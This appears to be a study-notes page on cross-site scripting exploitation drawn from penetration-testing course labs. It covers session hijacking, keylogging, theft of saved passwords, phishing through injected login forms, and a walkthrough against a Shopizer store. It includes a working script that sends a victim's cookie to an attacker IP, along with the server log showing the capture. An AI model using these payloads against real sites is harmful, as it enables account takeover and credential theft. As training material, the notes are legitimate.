search

Exploitation

All the content below is based on OffSec's WEB-200arrow-up-right course.

circle-exclamation

.js files containing pure JavaScript payloads need to be used with a tag that will automatically execute them, e.g. <script>. They cannot be used with Client XSS vulnerabilities that use innerHTML.

hashtag
Session Hijacking

We can create a malicious JavaScript file and exfiltrate the target's session cookie.

xss.js
// save the value of the cookie in a variable
let cookie = document.cookie
// URL-encode the variable
let encodedCookie = encodeURIComponent(cookie)

// make a GET request to our attacker machine exfiltrating the cookie
fetch("http://192.168.45.214/exfil?data=" + encodedCookie)

We can serve the payload using the same script as above.

<script src="http://192.168.45.214/xss.js"></script>

When the target clicks the malicious link, we will receive their cookie.

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.198.101 - - [05/Aug/2024 12:07:13] "GET /xss.js HTTP/1.1" 200 -
192.168.198.101 - - [05/Aug/2024 12:07:13] code 404, message File not found
192.168.198.101 - - [05/Aug/2024 12:07:13] "GET /exfil?data=session%3DSomeExampleCookie HTTP/1.1" 404 -

If the cookie has the HttpOnly flag set, JavaScript cannot access it, thus, we can't exfiltrate its value.

hashtag
Stealing Local Secrets

Browsers have two types of storage available: sessionStoragearrow-up-right and localStoragearrow-up-right.

Type
Description
Accessed by

sessionStorage

Stores the data until the tab is closed

window.sessionStorage

localStorage

Stores the data until explicitly deleted

window.localStorage

To exfiltrate localStorage, we will convert the object into a string, URL-encode it, and use fetch to exfil the data.

hashtag
Keylogging

Keylogging is useful when our target is the user rather than the application, but it is limited in the sense that only the current user tab is logged. The JavaScript event for keypresses is keydown, which need to be passed into the addEventListener function which also accepts a callback function to run for each keydown event.

hashtag
Stealing Saved Passwords

If a password manager application autofills any login form, this information can be extracted via XSS. Password managers search for combination of a username or email input and an input that has type attribute set to password.

Figure 2: Exfiltrating saved passwords.

hashtag
Phishing Users

Since we have full access to the HTML document, we could replicate an existing login page and change its action attribute to redirect the credentials to us (Figure 3).

Figure 3: Inspecting the login form's code.

We can create a script that fetches the login page, replaces the current page's HTML with the fetched content, and then updates the first form's action URL and method.

Figure 4: Exfiltrating user credentials via a phishing attack.

hashtag
Phishing Users (2)

This time the application does not have its own login page, so we will have to create one and redirect the target user to it. We can find boilerplate HTML login form code, such as thisarrow-up-right, and remove the unecessary parts for simplicity. We will need to change the action and method atrributes of the form element so that it sends a GET request to our malicious server.

If we spin up an HTTP server and test our script, we can see that it is working as intended (Figure 5).

Figure 5: Testing the login.html file.

The application uses the innerHTMLarrow-up-right method to reconstuct the table (Figure 6), which means that we can't use the <script> tag in order to inject and execute a .js file directly. However, we use the <img> tag.

Figure 6: Inspecting the list.js code.

We need to find a way to execute our payload (xssPhishingLogin.js) via the <img> tag. This can be achieved by creating a script elementarrow-up-right within the <img> tag itself. Again, we will remove the unecessary parts from the code, and point it to our malicious server.

In order to place it within our <img>-based XSS payload, we need to convert the above code into a one-liner by removing all the white space.

Finally, we need to create the xssPhishingLogin.js file. We need to use this to essentially replace the HTML code of the List application with the HTML code of our login form. For doing this, we need to convert our login.html code into a one-liner and use innerHTML to make the swap.

Now that everything is in place, by injecting our XSS payload into the vulnerable field, the target user will be redirected to our login form, and we should receive their credentials.

Figure 7: Injecting the XSS payload.

hashtag
XSS to LFI

The below example is based on HTB's Web Enumeration & Exploitationarrow-up-right module.

The site tracking.inlanefreight.local accepts a tracking number and generates a PDF document. The tracking number gets reflected in the PDF (Figure 16).

Figure 17: The input gets reflected within the generated PDF.

The input field takes any input, not just numbers, and accepts both HTML and JS (Figure 17).

Figure 18: Testing HTML injection.

Following thisarrow-up-right and thisarrow-up-right post that use XMLHttpRequestarrow-up-right, we can try to achieve LFI (Figure 19).

Figure 19: HTML Injection to LFI.

hashtag
Shopizer

The example below is based on OffSec's WEB-200arrow-up-right course.

hashtag
Recon

In Shopizer's Products > Handbags tab, we notice the /ref=c:2 string which resembles a URL parameter but it is missing the ?. Inspecting the page's source code, we see that this string is used in multiple URIs as well as in the loadCategoryProducts() method (Figure 12).

Figure 12: Inspecting the application's source code.

We can try to inject a canary and see whether it gets reflected within the loadCategoryProducts() method, and this is indeed the case (Figure 13.1). When we try to escape using a single quote and inject valid JavaScript code, the application adds another single quote at the end of the payload automatically (Figure 13.2).

Figure 13: Testing for Reflected XSS.

After trying different things, we find a way to inject and execute our code by using plus signs (+) instead of semicolons (;) (Figure 14).

Figure 14: Successfully executing a Reflected XSS attack.

hashtag
Payload Creation

To avoid any potential restrictions that might exist while passing the payload through the URL, we will try and load it from a remote file. When inspecting Shopizer's site map, we notice that it uses the jQueryarrow-up-right library (Figure 15), thus, we might be to use jQuery.getScript()arrow-up-right method.

Figure 15: Inspecting Shopizer's resources folder.

We will first create a test payload file (xssShopizer.js) to see if everything works as it should. Because we need to inject our XSS payload directly into the URL, we will also need to encode it. We will use the window.btoa()arrow-up-right method to Base64 encode the payload, and then use the resulting string within the window.atob()arrow-up-right method in order to decode it (Figure 16).

Figure 16: Base64 encoding and decoding the XSS payload.

Finally, in order for our payload to be executed, we will wrap the atob() method with the eval()arrow-up-right method. We also need to make sure to use the required ' and + signs (Figure 17).

Figure 17: Successfully execute a remote JavaScript file via an XSS vulnerability.

Although the XSS payload worked as intended, we get an Error alert right after it (Figure 18). If we repeat the process, we will notice that sometimes the Error comes before our payload, which prevents the payload to be executed.

Figure 18: The JavaScript error popup after the original payload is executed.

As we can see via the browser's Console tab, the cause of the Error message might be associated with malformed syntax (Figure 19).

Figure 19: Enumerating the root cause of the Error message.

If we wrap our payload with the btoa() method in order to Base64 the whole payload, the message gets away (Figure 20).

Figure 20: Getting rid of the Error message.

hashtag
Exploitation

We have successfully enumerated an XSS vulnerability and constructed an executable payload. Unfortunately, when logging into the application, the JSESSIOND cookie sets the HttpOnly attribute to true (Figure 21). As a result, we won't be able to access this with JavaScript.

Figure 21: Inspecting the application's cookies.

Under My Account > Billing & shipping information there is the option Add new address. This POST request includes the customerId parameter, but it appears to be optional (Figure 22).

Figure 22: Inspecting the updateAddress POST request.

We can create a JavaScript payload that sends the above request using the target user's cookie, and therefore, changing their address to an address we control so we can redirect their orders.

Figure 23: Testing our XSS attack.

We can also craft an XSS payload to extract the user's stored credentials.

PreviousDOM-BasedNextPayloads

Last updated